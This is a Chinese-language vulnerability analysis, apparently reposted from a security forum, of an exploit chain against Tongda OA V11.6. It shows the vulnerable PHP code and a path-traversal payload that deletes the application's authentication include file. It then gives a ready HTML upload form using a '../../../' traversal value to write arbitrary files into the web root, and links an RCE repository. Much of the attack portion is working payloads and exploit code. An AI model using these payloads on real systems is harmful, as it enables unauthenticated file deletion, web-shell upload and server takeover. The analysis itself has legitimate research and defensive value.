通达OA任意文件删除&文件上传RCE分析(2020年hw 8月0day)
2020-10-29 12:45:40 Author: xz.aliyun.com(查看原文) 阅读量:303 收藏

通达OA V11.6

通过任意文件漏洞删除上传点包含的身份验证文件，从而造成未授权访问实现任意文件上传

任意文件删除

漏洞触发点位于module/appbuilder/assets/print.php

$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];

if (file_exists($s_tmp)) {
    $arr_data = unserialize(file_get_contents($s_tmp));
    unlink($s_tmp);
    $s_user = $arr_data["user"];
}
else {
    echo "未知参数";
    exit();
}

传入参数guid通过../进行目录穿越实现任意文件删除

payload:?guid=../../../webroot/inc/auth.inc.php

未授权访问任意文件上传

漏洞触发点位于general/data_center/utils/upload.php

第三行有个身份验证

include_once "inc/auth.inc.php";

我们已经通过任意文件删除漏洞将其删除，然后就进入上传点

部分上传代码如下

if ($action == "upload") {
    if ($filetype == "xls") {
        $uploaddir = MYOA_ATTACH_PATH . "/data_center/templates/";

        if (!is_dir(MYOA_ATTACH_PATH . "/data_center/templates")) {
            if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
                mkdir(MYOA_ATTACH_PATH . "/data_center");
            }

            mkdir(MYOA_ATTACH_PATH . "/data_center/templates");
        }

        if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $_FILES["FILE1"]["name"])) {
        }
    }
    else if ($filetype == "img") {
        $uploaddir = MYOA_ATTACH_PATH . "/data_center/images/";

        if (!is_dir(MYOA_ATTACH_PATH . "/data_center/images")) {
            if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
                mkdir(MYOA_ATTACH_PATH . "/data_center");
            }

            mkdir(MYOA_ATTACH_PATH . "/data_center/images");
        }

        $s_n = $_FILES["FILE1"]["name"];

        if ($s_n[0] != "{") {
            $p = strrpos($s_n, ".");
            $s_n = CreateId() . substr($s_n, $p);
        }

        if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
        }
    }
    else {
        $uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";

        if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
            if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
                mkdir(MYOA_ATTACH_PATH . "/data_center");
            }

            mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
        }

        if (isset($from_rep)) {
            if (($from_rep != "") && ($from_rep[0] == "{")) {
                $repkid = GetRepKIDBySendId($from_rep);

                if ($repkid != $to_rep) {
                    if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
                        copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
                    }
                }
            }
            else {
                $arr = explode(",", $from_rep);

                for ($i = 0; $i < count($arr); $i++) {
                    $p = strpos($arr[$i], ".");
                    $repno = substr($arr[$i], 0, $p);
                    $repkid = GetRepKIDByNo($repno);

                    if ($repkid != $to_rep) {
                        if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
                            copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
                            break;
                        }
                    }
                }
            }
        }
        else {
            $s_n = $_FILES["FILE1"]["name"];

            if ($s_n[0] != "{") {
                $s_n = $repkid . "_" . $s_n;
            }

            if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
            }
        }
    }

    @unlink($_FILES["FILE1"]);
}

这串代码首先得满足$action的值等于upload，然后便是根据不同的上传类型进行不同的操作，这里如果上传类型是xls或img时，上传的目录内容是不允许访问的，会403。所以我们选择最后一种上传方法，这个时候传入$filetype为其它值就行。

这个时候我们不传入$from_rep就会进入else里面，代码如下

$s_n = $_FILES["FILE1"]["name"];

            if ($s_n[0] != "{") {
                $s_n = $repkid . "_" . $s_n;
            }

            if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
            }

可以看到传的文件名为FILE1，可以看到最终的上传路径是$repkid拼接在前，所以我们往$repkid传入../就可以实现上传到任意目录，比如网站根目录

祭出祖传html上传表单

<form action="http://192.168.117.131:8888/general/data_center/utils/upload.php" method="post"  enctype="multipart/form-data">
<input type="text"name='filetype' value ='ghtwf01'></input>
<input type="text"name='action' value ='upload'></input>
<input type="text"name='repkid' value ='../../../'></input>
<input type="file" name="FILE1"></input>
<input type="submit" ></input>
</body>
</form>

https://github.com/ghtwf01/tdv11.6_rce


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